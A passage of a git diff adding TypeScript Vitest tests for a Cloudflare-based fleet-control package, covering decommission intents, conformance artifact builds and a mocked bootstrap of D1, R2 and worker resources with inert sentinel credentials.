+      classifyDecommissionAdvanceToken(
+        { ...token, tenantTag: 'other' },
+        fleetRecord(),
+      ),
+    ).toThrow(DecommissionAdvanceTokenDeploymentError);
+  });
+
+  it('round-trips exact backend-switch decommission identities', () => {
+    const source = backendSwitchRecord();
+    const parsed = decommissionAdvanceIntentFromUnknown(
+      structuredClone(source.decommissionIntent),
+      source,
+    );
+
+    expect(parsed).toEqual(source.decommissionIntent);
+    expect(parsed.identity.mode).toMatchObject({
+      kind: 'backend-switch',
+      priorSpecDigest: DIGEST,
+      targetSpecDigest: DIGEST,
+      backendSwitchSubphase: 'finalized',
+    });
+    expect(effectiveLifecyclePhase(source)).toBe('decommissioning');
+    expect(() => assertNoActiveDecommission(source, 'test')).toThrow(
+      'test cannot run during an active decommission',
+    );
+  });
+
+  it('rejects unreachable switch snapshot subphase and receipt combinations', () => {
+    const source = backendSwitchRecord();
+    const shell = source.decommissionIntent;
+    const switchIntent = source.backendSwitchIntent;
+    if (!shell || !switchIntent)
+      throw new Error('switch fixture is incomplete');
+
+    const unreachable: FleetRecord = {
+      ...source,
+      backendSwitchIntent: {
+        ...switchIntent,
+        subphase: 'planned',
+      },
+    };
+    expect(() =>
+      decommissionAdvanceIntentFromUnknown(shell, unreachable),
+    ).toThrow(DecommissionAdvanceIntentError);
+
+    expect(() =>
+      decommissionAdvanceIntentFromUnknown(
+        {
+          ...shell,
+          identity: {
+            ...shell.identity,
+            mode: {
+              ...shell.identity.mode,
+              decommissionSnapshotSha256: '9'.repeat(64),
+            },
+          },
+        },
+        source,
+      ),
+    ).toThrow(DecommissionAdvanceIntentError);
+
+    expect(() =>
+      decommissionAdvanceIntentFromUnknown(
+        {
+          ...shell,
+          databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+        },
+        source,
+      ),
+    ).toThrow(DecommissionAdvanceIntentError);
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-artifacts.test.ts b/packages/fleet-control/test/direct-credentialed-artifacts.test.ts
new file mode 100644
index 00000000..810629fd
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-artifacts.test.ts
@@ -0,0 +1,288 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawn } from 'node:child_process';
+import { createHash } from 'node:crypto';
+import {
+  mkdir,
+  mkdtemp,
+  readFile,
+  rm,
+  stat,
+  writeFile,
+} from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { gzipSync } from 'node:zlib';
+import type { D1Database } from '@cloudflare/workers-types';
+import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest';
+import { createTestHarness, type TestHarness } from 'wrangler';
+import {
+  type BuiltDirectConformanceArtifacts,
+  buildDirectConformanceArtifacts,
+} from '../scripts/direct-credentialed-artifacts.mjs';
+import { preflightDirectConformance } from '../scripts/direct-credentialed-conformance-preflight.mjs';
+import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs';
+
+const NOW = Date.parse('2026-09-10T12:00:00Z');
+
+vi.mock('node:child_process', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('node:child_process')>();
+  return { ...actual, spawn: vi.fn(actual.spawn) };
+});
+
+describe.sequential('default direct conformance artifacts', {
+  timeout: 180_000,
+}, () => {
+  let directory: string;
+  let configPath: string;
+  let built: BuiltDirectConformanceArtifacts;
+  let server: TestHarness | undefined;
+
+  beforeAll(async () => {
+    vi.stubEnv('CLOUDFLARE_API_TOKEN', 'artifact-child-env-sentinel');
+    vi.stubEnv('CLOUDFLARE_BASE_URL', 'https://unexpected.example.test');
+    directory = await mkdtemp(join(tmpdir(), 'direct-built-artifacts-'));
+    configPath = join(directory, 'input.json');
+    await writeFile(
+      configPath,
+      await readFile(
+        new URL(
+          '../scripts/direct-credentialed-conformance.example.json',
+          import.meta.url,
+        ),
+      ),
+    );
+    built = await buildDirectConformanceArtifacts({
+      configPath,
+      outputDirectory: join(directory, 'built'),
+      now: NOW,
+    });
+  }, 180_000);
+
+  afterAll(async () => {
+    try {
+      await server?.close();
+    } finally {
+      if (directory) await rm(directory, { recursive: true, force: true });
+      vi.unstubAllEnvs();
+    }
+  }, 30_000);
+
+  it('preserves runtime intent and emits exact preflight snapshots from the fixed sources', async () => {
+    const input = JSON.parse(await readFile(configPath, 'utf8'));
+    const output = JSON.parse(await readFile(built.configPath, 'utf8'));
+    for (const role of ['referenceWorker', 'deployment']) {
+      const { artifact: _before, ...before } = input[role];
+      const { artifact: _after, ...after } = output[role];
+      expect(after).toEqual(before);
+    }
+    expect(
+      await preflightDirectConformance({
+        configPath: built.configPath,
+        now: NOW,
+      }),
+    ).toEqual(built.prepared);
+    expect(
+      built.prepared.referenceModules.map((module) => module.name),
+    ).toEqual(['worker.js', 'direct-run-manifest.js']);
+    expect(built.prepared.manifest.tenantWasm.length).toBeGreaterThan(0);
+    for (const role of ['reference', 'tenant'] as const) {
+      const bytes = await readFile(
+        join(directory, 'built', role, 'out', `${role}.js`),
+      );
+      expect(built.builds[role]).toMatchObject({
+        rawBytes: bytes.length,
+        gzipBytes: gzipSync(bytes).length,
+        sha256: createHash('sha256').update(bytes).digest('hex'),
+      });
+      const command = JSON.parse(
+        await readFile(join(directory, 'built', role, 'command.json'), 'utf8'),
+      );
+      expect(command.status).toBe(0);
+      expect(command.args).toContain('--dry-run');
+      expect(command.environmentKeys).toEqual([
+        'PATH',
+        'WRANGLER_SEND_METRICS',
+      ]);
+      const call = vi
+        .mocked(spawn)
+        .mock.calls.find(
+          ([, args]) =>
+            Array.isArray(args) &&
+            args.includes(join(directory, 'built', role, 'wrangler.json')),
+        );
+      expect(call).toBeDefined();
+      expect(call?.[2]?.env).toEqual({
+        PATH: process.env.PATH ?? '',
+        WRANGLER_SEND_METRICS: 'false',
+      });
+      expect(command.environmentKeys).toEqual(
+        Object.keys(call?.[2]?.env ?? {}),
+      );
+      expect(
+        (await stat(join(directory, 'built', role, 'out', `${role}.js`))).mode &
+          0o777,
+      ).toBe(0o600);
+    }
+    expect((await stat(join(directory, 'built'))).mode & 0o777).toBe(0o700);
+    expect((await stat(built.configPath)).mode & 0o777).toBe(0o600);
+    expect(
+      await readFile(join(directory, 'built', 'input-conformance.json')),
+    ).toEqual(await readFile(configPath));
+  });
+
+  it('refuses an existing output directory without changing its contents', async () => {
+    const snapshot = await readFile(built.configPath);
+    await expect(
+      buildDirectConformanceArtifacts({
+        configPath,
+        outputDirectory: join(directory, 'built'),
+        now: NOW,
+      }),
+    ).rejects.toThrow();
+    expect(await readFile(built.configPath)).toEqual(snapshot);
+  });
+
+  it('rejects invalid operator intent before creating build output', async () => {
+    const invalidPath = join(directory, 'invalid.json');
+    const input = JSON.parse(await readFile(configPath, 'utf8'));
+    input.providerUrl = 'https://unexpected.example.test';
+    await writeFile(invalidPath, JSON.stringify(input));
+    const outputDirectory = join(directory, 'invalid-output');
+    await expect(
+      buildDirectConformanceArtifacts({
+        configPath: invalidPath,
+        outputDirectory,
+        now: NOW,
+      }),
+    ).rejects.toThrow();
+    await expect(stat(outputDirectory)).rejects.toMatchObject({
+      code: 'ENOENT',
+    });
+  });
+
+  it('loads the exact reference upload with native state and the configured runtime flags', async () => {
+    const prepared = built.prepared;
+    const runtime = join(directory, 'native-reference');
+    await mkdir(runtime);
+    for (const module of prepared.referenceModules) {
+      const bytes =
+        'source' in module
+          ? Buffer.from(module.source)
+          : Buffer.from(module.base64, 'base64');
+      expect(createHash('sha256').update(bytes).digest('hex')).toBe(
+        module.sha256,
+      );
+      await writeFile(join(runtime, module.name), bytes);
+    }
+    const binding = {
+      version: 1,
+      accountId: 'account',
+      fleetDatabaseId: '00000000-0000-0000-0000-000000000011',
+      quotaDatabaseId: '00000000-0000-0000-0000-000000000012',
+      exportBucketName: prepared.names.exportBucket,
+      referenceModuleSetSha256: prepared.referenceModuleSetSha256,
+      accountWorkersDevSubdomain: 'artifact-fixture',
+    };
+    const secretMap = Object.fromEntries(
+      ['a', 'b', 'recovery'].map((role) => [
+        role,
+        {
+          deploymentIdentity: `identity-${role}`.padEnd(40, 'i'),
+          maintenanceAdmin: `maintenance-${role}`.padEnd(40, 'm'),
+          application: { APP_PROBE_TOKEN: `probe-${role}`.padEnd(40, 'p') },
+        },
+      ]),
+    );
+    server = createTestHarness({
+      root: fileURLToPath(new URL('..', import.meta.url)),
+      workers: [
+        {
+          config: {
+            name: 'direct-built-reference',
+            main: join(runtime, prepared.referenceModules[0].name),
+            no_bundle: true,
+            find_additional_modules: true,
+            rules: [
+              { type: 'ESModule', globs: ['**/*.js'], fallthrough: true },
+              { type: 'CompiledWasm', globs: ['**/*.wasm'], fallthrough: true },
+            ],
+            compatibility_date:
+              prepared.config.referenceWorker.compatibilityDate,
+            compatibility_flags: [
+              ...prepared.config.referenceWorker.compatibilityFlags,
+            ],
+            vars: {
+              CLOUDFLARE_API_TOKEN: 'inert-provider-token',
+              FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'inert-invoke',
+              DIRECT_RUN_BINDING: JSON.stringify(binding),
+              DIRECT_DEPLOYMENT_SECRETS: JSON.stringify(secretMap),
+            },
+            d1_databases: [
+              {
+                binding: 'FLEET_DB',
+                database_name: prepared.names.fleetDatabase,
+                database_id: binding.fleetDatabaseId,
+              },
+              {
+                binding: 'QUOTA_DB',
+                database_name: prepared.names.quotaDatabase,
+                database_id: binding.quotaDatabaseId,
+              },
+            ],
+            r2_buckets: [
+              { binding: 'EXPORTS', bucket_name: binding.exportBucketName },
+            ],
+          },
+        },
+      ],
+    });
+    await server.listen();
+    const worker = server.getWorker<{ FLEET_DB: D1Database }>();
+    const url = `https://reference.example.test${DIRECT_REFERENCE_PATH}`;
+    const body = JSON.stringify({
+      contractVersion: 1,
+      configSha256: prepared.configSha256,
+      action: { kind: 'control-read' },
+    });
+    expect((await worker.fetch(url, { method: 'POST', body })).status).toBe(
+      401,
+    );
+    const response = await worker.fetch(url, {
+      method: 'POST',
+      headers: { authorization: 'Bearer inert-invoke' },
+      body,
+    });
+    expect(response.status).toBe(200);
+    expect(response.headers.get('X-Direct-Provider-Attempts')).toBe('0');
+    expect(await response.json()).toMatchObject({
+      ok: true,
+      configSha256: prepared.configSha256,
+      result: {
+        binding,
+        operations: [],
+        records: [
+          { role: 'a', present: false },
+          { role: 'b', present: false },
+          { role: 'recovery', present: false },
+        ],
+      },
+    });
+    const env = await worker.getEnv();
+    expect(
+      await env.FLEET_DB.prepare(
+        'SELECT COUNT(*) AS count FROM anchorage_fleet_deployments',
+      ).first('count'),
+    ).toBe(0);
+    await server.close();
+    server = undefined;
+    for (const module of prepared.referenceModules) {
+      expect(
+        createHash('sha256')
+          .update(await readFile(join(runtime, module.name)))
+          .digest('hex'),
+      ).toBe(module.sha256);
+    }
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts b/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts
new file mode 100644
index 00000000..00108357
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-bootstrap.test.ts
@@ -0,0 +1,1843 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { mkdtemp, readFile, rm, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
+import { bootstrapDirectConformance } from '../scripts/direct-credentialed-bootstrap.mjs';
+import { preflightDirectConformance } from '../scripts/direct-credentialed-conformance-preflight.mjs';
+import * as invocation from '../scripts/direct-credentialed-invocation.mjs';
+import {
+  type DirectRunJournal,
+  openDirectRunState,
+} from '../scripts/direct-credentialed-run-state.mjs';
+import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs';
+import { providerJson as json } from './fixtures/direct-observations.js';
+
+const awaitReferenceIngress = invocation.awaitReferenceIngress;
+
+const probes = vi.hoisted(() => ({ sdk: vi.fn(), generate: vi.fn() }));
+vi.mock('cloudflare', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('cloudflare')>();
+  return {
+    ...actual,
+    default: class extends actual.default {
+      constructor(options: ConstructorParameters<typeof actual.default>[0]) {
+        probes.sdk(options);
+        expect(process.env.CLOUDFLARE_CUSTOM_HEADERS).toBeUndefined();
+        expect(process.env.CLOUDFLARE_LOG).toBeUndefined();
+        expect(process.env.CLOUDFLARE_BASE_URL).toBeUndefined();
+        super(options);
+      }
+    },
+  };
+});
+vi.mock('../scripts/direct-credentialed-spec.ts', async (importOriginal) => {
+  const actual =
+    await importOriginal<
+      typeof import('../scripts/direct-credentialed-spec.js')
+    >();
+  return {
+    ...actual,
+    generateDirectDeploymentSecrets: () => {
+      probes.generate();
+      return actual.generateDirectDeploymentSecrets();
+    },
+  };
+});
+
+const API_TOKEN = 'legacy/provider-token+sentinel==';
+const INVOKE_SECRET = 'reference-invoke-secret-sentinel';
+const ACCOUNT = 'account';
+const FLEET_ID = '00000000-1111-4222-8333-444444444444';
+const QUOTA_ID = '00000000-1111-4222-8333-555555555555';
+const DEPLOYMENT_ID = '00000000-1111-4222-8333-666666666666';
+const VERSION_ID = '00000000-1111-4222-8333-777777777777';
+const directories: string[] = [];
+const journals = new Set<DirectRunJournal>();
+const unexpectedRequests: string[] = [];
+const hash = (value: string | Uint8Array) =>
+  createHash('sha256').update(value).digest('hex');
+const absent = () =>
+  Response.json(
+    { success: false, errors: [{ code: 10000, message: 'synthetic absence' }] },
+    { status: 404 },
+  );
+type Binding = {
+  name: string;
+  type: string;
+  text?: string;
+  database_id?: string;
+  bucket_name?: string;
+};
+type Hook = (
+  request: Request,
+  url: URL,
+) => Promise<Response | undefined> | Response | undefined;
+
+async function fixture(
+  options: {
+    limit?: number;
+    timeout?: number;
+    tag?: string | null;
+    invocationTimeoutMs?: number;
+    mainModule?: string;
+    compatibilityFlags?: string[];
+  } = {},
+) {
+  const directory = await mkdtemp(join(tmpdir(), 'direct-bootstrap-'));
+  directories.push(directory);
+  const config = JSON.parse(
+    await readFile(
+      new URL(
+        '../scripts/direct-credentialed-conformance.example.json',
+        import.meta.url,
+      ),
+      'utf8',
+    ),
+  );
+  const wasm = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0]);
+  const reference =
+    "import manifest from './direct-run-manifest.js'; import wasm from './fixture.wasm'; void wasm; export default {fetch(){return Response.json(manifest.contractVersion)}};";
+  const tenant =
+    'export class Maintenance {} export class Runner {} export default {};';
+  config.referenceWorker.artifact = {
+    bundle: './reference.mjs',
+    mainModule: options.mainModule ?? 'worker.js',
+    sha256: hash(reference),
+    auxiliaryWasm: [
+      { file: './fixture.wasm', name: 'fixture.wasm', sha256: hash(wasm) },
+    ],
+  };
+  config.referenceWorker.maxInvocations = options.limit ?? 20;
+  config.referenceWorker.requestTimeoutMs = options.timeout ?? 1000;
+  config.referenceWorker.invocationTimeoutMs =
+    options.invocationTimeoutMs ?? 2000;
+  config.referenceWorker.compatibilityFlags = options.compatibilityFlags ?? [
+    'global_fetch_strictly_public',
+  ];
+  config.deployment.artifact = {
+    bundle: './tenant.mjs',
+    mainModule: 'worker.js',
+    sha256: hash(tenant),
+  };
+  const configPath = join(directory, 'config.json');
+  await Promise.all([
+    writeFile(configPath, JSON.stringify(config)),
+    writeFile(join(directory, 'reference.mjs'), reference),
+    writeFile(join(directory, 'tenant.mjs'), tenant),
+    writeFile(join(directory, 'fixture.wasm'), wasm),
+  ]);
+  const prepared = await preflightDirectConformance({ configPath });
+  let journal = await openDirectRunState({
+    configPath,
+    prepared,
+    accountId: ACCOUNT,
+    mode: 'run',
+  });
+  journals.add(journal);
+  const names = prepared.names;
+  const root = `/client/v4/accounts/${ACCOUNT}`;
+  const script = `${root}/workers/scripts/${names.referenceWorker}`;
+  const databases = new Map<string, { uuid: string; name: string }>();
+  let bucket: { name: string; creation_date: string } | undefined;
+  let metadata:
+    | {
+        bindings: Binding[];
+        compatibility_date: string;
+        compatibility_flags: string[];
+        limits: { cpu_ms: number; subrequests: number };
+      }
+    | undefined;
+  let uploaded = false;
+  let ingress = false;
+  let hook: Hook | undefined;
+  const requests: Request[] = [];
+  const parts = new Map<string, Uint8Array>();
+  const tag = options.tag === undefined ? 'immutable-script-tag' : options.tag;
+  const runtime = () => ({
+    compatibility_date: metadata?.compatibility_date,
+    compatibility_flags: metadata?.compatibility_flags,
+    limits: metadata?.limits,
+  });
+  const bindings = () =>
+    metadata?.bindings.map((binding) =>
+      binding.type === 'secret_text'
+        ? { name: binding.name, type: binding.type }
+        : binding,
+    );
+  const deployment = () => ({
+    id: DEPLOYMENT_ID,
+    strategy: 'percentage',
+    versions: [{ version_id: VERSION_ID, percentage: 100 }],
+  });
+  const policy = (id: string) => ({
+    id,
+    status: 'active',
+    policies: [
+      {
+        id: 'policy',
+        effect: 'allow',
+        permission_groups: [
+          'Zone Read',
+          'Workers Routes Read',
+          'Workers Routes Edit',
+        ].map((name, index) => ({ id: `permission-${index}`, name })),
+        resources: {
+          [`com.cloudflare.api.account.${ACCOUNT}`]: {
+            'com.cloudflare.api.account.zone.*': '*',
+          },
+        },
+      },
+    ],
+  });
+  const runBinding = () => ({
+    version: 1,
+    accountId: ACCOUNT,
+    fleetDatabaseId: FLEET_ID,
+    quotaDatabaseId: QUOTA_ID,
+    exportBucketName: names.exportBucket,
+    referenceModuleSetSha256: prepared.referenceModuleSetSha256,
+    accountWorkersDevSubdomain: 'attested-account',
+  });
+  const controlResponse = (
+    result: unknown = { binding: runBinding() },
+    status = 200,
+  ) =>
+    Response.json(
+      status === 200
+        ? {
+            contractVersion: 1,
+            configSha256: prepared.configSha256,
+            action: 'control-read',
+            ok: true,
+            result,
+          }
+        : {
+            contractVersion: 1,
+            ok: false,
+            error: { code: 'budget-exhausted' },
+          },
+      {
+        status,
+        headers: {
+          'Cache-Control': 'no-store',
+          'X-Direct-Provider-Attempts': '0',
+          'X-Direct-Maintenance-Attempts': '0',
+          'X-Direct-Application-Attempts': '0',
+        },
+      },
+    );
+  const fetchRequest = vi.fn<typeof fetch>(async (input, init) => {
+    const request = new Request(input, init);
+    const url = new URL(request.url);
+    requests.push(request.clone());
+    expect(request.redirect).toBe('manual');
+    expect(request.signal.aborted).toBe(false);
+    if (
+      url.origin ===
+      `https://${names.referenceWorker}.attested-account.workers.dev`
+    ) {
+      if (!request.headers.has('authorization')) {
+        expect(url.pathname).toBe(DIRECT_REFERENCE_PATH);
+        expect(request.method).toBe('POST');
+        expect(await request.json()).toEqual({});
+        return Response.json(
+          { contractVersion: 1, ok: false, error: { code: 'unauthorized' } },
+          {
+            status: 401,
+            headers: {
+              'Cache-Control': 'no-store',
+              'WWW-Authenticate': 'Bearer',
+            },
+          },
+        );
+      }
+      expect(request.headers.get('authorization')).toBe(
+        `Bearer ${INVOKE_SECRET}`,
+      );
+      expect(url.pathname).toBe(DIRECT_REFERENCE_PATH);
+      expect(journal.snapshot().lastInvocation?.state).toBe('pending');
+      return (await hook?.(request, url)) ?? controlResponse();
+    }
+    if (url.origin !== 'https://api.cloudflare.com') {
+      unexpectedRequests.push('unexpected origin');
+      throw new Error('Unexpected synthetic origin');
+    }
+    expect(request.headers.get('authorization')).toBe(`Bearer ${API_TOKEN}`);
+    expect(request.headers.has('x-auth-key')).toBe(false);
+    expect(request.headers.has('x-auth-email')).toBe(false);
+    expect(request.headers.has('x-auth-user-service-key')).toBe(false);
+    if (request.method !== 'GET') {
+      const disk = JSON.parse(
+        await readFile(join(journal.directory, 'journal.json'), 'utf8'),
+      );
+      const pending =
+        url.pathname === `${root}/d1/database`
+          ? ((await request.clone().json()) as { name: string }).name ===
+            names.fleetDatabase
+            ? 'create-fleet-d1'
+            : 'create-quota-d1'
+          : url.pathname === `${root}/r2/buckets`
+            ? 'create-export-r2'
+            : url.pathname === script
+              ? 'upload-reference'
+              : 'enable-reference-ingress';
+      expect(disk.bootstrap.pending).toBe(pending);
+      if (pending !== 'create-fleet-d1')
+        expect(disk.bootstrap.fleet).toEqual({
+          uuid: FLEET_ID,
+          name: names.fleetDatabase,
+        });
+      if (
+        pending === 'upload-reference' ||
+        pending === 'enable-reference-ingress'
+      )
+        expect(disk.bootstrap.exports).toMatchObject({
+          name: names.exportBucket,
+        });
+    }
+    const intercepted = await hook?.(request, url);
+    if (intercepted) return intercepted;
+    if (request.method === 'GET') {
+      if (url.pathname === root) return json({ id: ACCOUNT });
+      if (url.pathname === `${root}/workers/subdomain`)
+        return json({ subdomain: 'attested-account' });
+      if (url.pathname === `${root}/tokens/verify`)
+        return json({ id: 'account-token', status: 'active' });
+      if (url.pathname === `${root}/tokens/account-token`)
+        return json(policy('account-token'));
+      if (url.pathname === '/client/v4/user/tokens/verify')
+        return json({ id: 'user-token', status: 'active' });
+      if (url.pathname === '/client/v4/user/tokens/user-token')
+        return json(policy('user-token'));
+      if (url.pathname === '/client/v4/zones') {
+        expect(url.searchParams.get('account.id')).toBe(ACCOUNT);
+        expect(url.searchParams.get('per_page')).toBe('50');
+        return json(
+          url.searchParams.has('page')
+            ? []
+            : [
+                {
+                  id: 'zone',
+                  name: 'example.test',
+                  type: 'full',
+                  account: { id: ACCOUNT },
+                },
+              ],
+        );
+      }
+      if (url.pathname === '/client/v4/zones/zone')
+        return json({
+          id: 'zone',
+          name: 'example.test',
+          type: 'full',
+          account: { id: ACCOUNT },
+        });
+      if (url.pathname === `${root}/workers/dispatch/namespaces`)
+        return json([]);
+      if (url.pathname === `${root}/d1/database`) {
+        expect(url.searchParams.get('per_page')).toBe('100');
+        expect([names.fleetDatabase, names.quotaDatabase]).toContain(
+          url.searchParams.get('name'),
+        );
+        return json(
+          url.searchParams.has('page')
+            ? []
+            : [...databases.values()].filter(
+                (row) => row.name === url.searchParams.get('name'),
+              ),
+        );
+      }
+      if (url.pathname.startsWith(`${root}/d1/database/`))
+        return databases.has(url.pathname.split('/').at(-1) ?? '')
+          ? json(databases.get(url.pathname.split('/').at(-1) ?? ''))
+          : absent();
+      if (url.pathname === `${root}/r2/buckets/${names.exportBucket}`) {
+        expect(request.headers.get('cf-r2-jurisdiction')).toBe('default');
+        return bucket ? json(bucket) : absent();
+      }
+      if (url.pathname === script)
+        return uploaded
+          ? new Response('synthetic worker bytes', {
+              headers: { 'Content-Type': 'application/javascript' },
+            })
+          : absent();
+      if (url.pathname === `${root}/workers/scripts`)
+        return json([
+          { id: names.referenceWorker, ...(tag === null ? {} : { tag }) },
+        ]);
+      if (url.pathname === `${script}/deployments`)
+        return json({ deployments: [deployment()] });
+      if (url.pathname === `${script}/deployments/${DEPLOYMENT_ID}`)
+        return json(deployment());
+      if (url.pathname === `${script}/versions/${VERSION_ID}`)
+        return json({
+          id: VERSION_ID,
+          resources: {
+            script_runtime: {
+              ...runtime(),
+              limits: { cpu_ms: metadata?.limits.cpu_ms },
+            },
+            bindings: bindings(),
+          },
+        });
+      if (url.pathname === `${script}/settings`)
+        return json({ ...runtime(), bindings: bindings() });
+      if (url.pathname === `${script}/subdomain`)
+        return json({ enabled: ingress, previews_enabled: false });
+    }
+    if (request.method === 'POST' && url.pathname === `${root}/d1/database`) {
+      const body = (await request.json()) as { name: string };
+      expect(Object.keys(body)).toEqual(['name']);
+      const receipt = {
+        uuid: body.name === names.fleetDatabase ? FLEET_ID : QUOTA_ID,
+        name: body.name,
+      };
+      databases.set(receipt.uuid, receipt);
+      return json(receipt);
+    }
+    if (request.method === 'POST' && url.pathname === `${root}/r2/buckets`) {
+      expect(request.headers.get('cf-r2-jurisdiction')).toBe('default');
+      expect(await request.json()).toEqual({ name: names.exportBucket });
+      bucket = {
+        name: names.exportBucket,
+        creation_date: '2026-09-10T00:00:00.000Z',
+      };
+      return json(bucket);
+    }
+    if (request.method === 'PUT' && url.pathname === script) {
+      expect(request.headers.get('content-type')).toMatch(
+        /^multipart\/form-data; boundary=/u,
+      );
+      const form = await request.formData();
+      expect([...form.keys()].sort()).toEqual(
+        [
+          'metadata',
+          ...prepared.referenceModules.map((module) => module.name),
+        ].sort(),
+      );
+      expect(typeof form.get('metadata')).toBe('string');
+      metadata = JSON.parse(form.get('metadata') as string);
+      for (const module of prepared.referenceModules) {
+        const part = form.get(module.name) as File;
+        expect(part.name).toBe(module.name);
+        expect(part.type).toBe(module.contentType);
+        parts.set(module.name, new Uint8Array(await part.arrayBuffer()));
+      }
+      uploaded = true;
+      return json({
+        ...(tag === null
+          ? {}
+          : { id: names.referenceWorker, tag, etag: 'provider-etag' }),
+      });
+    }
+    if (request.method === 'POST' && url.pathname === `${script}/subdomain`) {
+      expect(await request.json()).toEqual({
+        enabled: true,
+        previews_enabled: false,
+      });
+      ingress = true;
+      return json({ enabled: true, previews_enabled: false });
+    }
+    unexpectedRequests.push(`${request.method} ${url.pathname}`);
+    throw new Error(
+      `Unexpected synthetic request: ${request.method} ${url.pathname}`,
+    );
+  });
+  return {
+    directory,
+    configPath,
+    prepared,
+    names,
+    root,
+    script,
+    requests,
+    parts,
+    databases,
+    fetchRequest,
+    policy,
+    runBinding,
+    controlResponse,
+    deployment,
+    runtime,
+    bindings,
+    get journal() {
+      return journal;
+    },
+    get metadata() {
+      return metadata;
+    },
+    setHook(value: Hook | undefined) {
+      hook = value;
+    },
+    run(
+      override: Partial<Parameters<typeof bootstrapDirectConformance>[0]> = {},
+    ) {
+      return bootstrapDirectConformance({
+        prepared,
+        journal,
+        apiToken: API_TOKEN,
+        invokeSecret: INVOKE_SECRET,
+        fetch: fetchRequest,
+        ...override,
+      });
+    },
+    async reopen() {
+      await journal.close();
+      journals.delete(journal);
+      journal = await openDirectRunState({
+        configPath,
+        prepared,
+        accountId: ACCOUNT,
+        mode: 'resume',
+      });
+      journals.add(journal);
+    },
+  };
+}
+
+beforeEach(() => {
+  vi.spyOn(invocation, 'awaitReferenceIngress').mockImplementation((input) =>
+    awaitReferenceIngress({ ...input, sleep: input.sleep ?? (async () => {}) }),
+  );
+  vi.stubGlobal(
+    'fetch',
+    vi.fn(() => {
+      unexpectedRequests.push('global fetch');
+      throw new Error('Unexpected global network');
+    }),
+  );
+});
+
+afterEach(async () => {
+  vi.restoreAllMocks();
+  vi.useRealTimers();
+  vi.unstubAllEnvs();
+  vi.unstubAllGlobals();
+  probes.sdk.mockClear();
+  probes.generate.mockClear();
+  try {
+    await Promise.all([...journals].map((journal) => journal.close()));
+  } finally {
+    journals.clear();
+    await Promise.all(
+      directories
+        .splice(0)
+        .map((directory) => rm(directory, { recursive: true, force: true })),
+    );
+    expect(unexpectedRequests.splice(0)).toEqual([]);
+  }
+});
+
+const describeLinux =
+  process.platform === 'linux' ? describe.sequential : describe.skip;
+describeLinux('SDK direct bootstrap', () => {
+  it.each([
+    'application/JSON',
+    'APPLICATION/JSON',
+    'application/problem+JSON',
+  ])('validates mixed-case SDK JSON inventories: %s', async (contentType) => {
+    for (const role of ['fleet', 'quota'] as const) {
+      const f = await fixture();
+      const name =
+        role === 'fleet' ? f.names.fleetDatabase : f.names.quotaDatabase;
+      f.setHook((_request, url) => {
+        if (
+          url.pathname === `${f.root}/d1/database` &&
+          url.searchParams.get('name') === name
+        ) {
+          const response = json(
+            url.searchParams.has('page')
+              ? []
+              : [{ uuid: 'foreign-existing-database', name }],
+          );
+          response.headers.set('content-type', contentType);
+          return response;
+        }
+      });
+      await expect(f.run()).rejects.toMatchObject({ code: 'name-collision' });
+      expect(f.databases.size).toBe(0);
+      expect(f.journal.snapshot().bootstrap?.pending).toBeNull();
+    }
+    for (const surface of ['d1', 'dispatch']) {
+      const f = await fixture();
+      f.setHook((_request, url) => {
+        const target =
+          surface === 'd1'
+            ? `${f.root}/d1/database`
+            : `${f.root}/workers/dispatch/namespaces`;
+        if (url.pathname === target)
+          return Response.json(
+            { success: false, errors: [{ code: 1 }], result: {} },
+            { headers: { 'content-type': contentType } },
+          );
+      });
+      await expect(f.run()).rejects.toMatchObject({
+        code: 'provider-unavailable',
+      });
+      expect(f.databases.size).toBe(0);
+    }
+    const f = await fixture();
+    await f.run({
+      fetch: async (input, init) => {
+        const response = await f.fetchRequest(input, init);
+        const url = new URL(
+          typeof input === 'string' || input instanceof URL ? input : input.url,
+        );
+        if (
+          url.origin === 'https://api.cloudflare.com' &&
+          response.headers.get('content-type')?.includes('application/json')
+        )
+          response.headers.set(
+            'content-type',
+            `${contentType}; profile="CaseSensitive"`,
+          );
+        return response;
+      },
+    });
+    expect(f.journal.snapshot().bootstrap?.controlReadOrdinal).toBe(1);
+  });
+
+  it('preserves the preflight module-name length boundary in named multipart', async () => {
+    const mainModule = `${'m'.repeat(252)}.js`;
+    const f = await fixture({ mainModule });
+    await f.run();
+    expect(f.parts.has(mainModule)).toBe(true);
+  });
+
+  it.each([
+    403, 404, 429, 500, 503,
+  ])('tries the other token endpoint family once after HTTP %s unavailability', async (status) => {
+    const f = await fixture();
+    f.setHook((_request, url) =>
+      url.pathname === `${f.root}/tokens/verify`
+        ? Response.json({}, { status })
+        : undefined,
+    );
+    await f.run();
+    expect(
+      f.requests.filter((request) =>
+        request.url.endsWith('/user/tokens/verify'),
+      ),
+    ).toHaveLength(1);
+    expect(
+      f.requests.filter((request) =>
+        request.url.endsWith('/tokens/account-token'),
+      ),
+    ).toHaveLength(0);
+  });
+
+  it.each([
+    'worker',
+    'r2',
+    'd1',
+    'namespaces',
+  ])('never treats a forbidden %s read as absence', async (kind) => {
+    const f = await fixture();
+    f.setHook((_request, url) =>
+      (
+        kind === 'worker'
+          ? url.pathname === f.script
+          : kind === 'r2'
+            ? url.pathname.endsWith(`/r2/buckets/${f.names.exportBucket}`)
+            : kind === 'd1'
+              ? url.pathname.endsWith('/d1/database')
+              : url.pathname.endsWith('/dispatch/namespaces')
+      )
+        ? Response.json({}, { status: 403 })
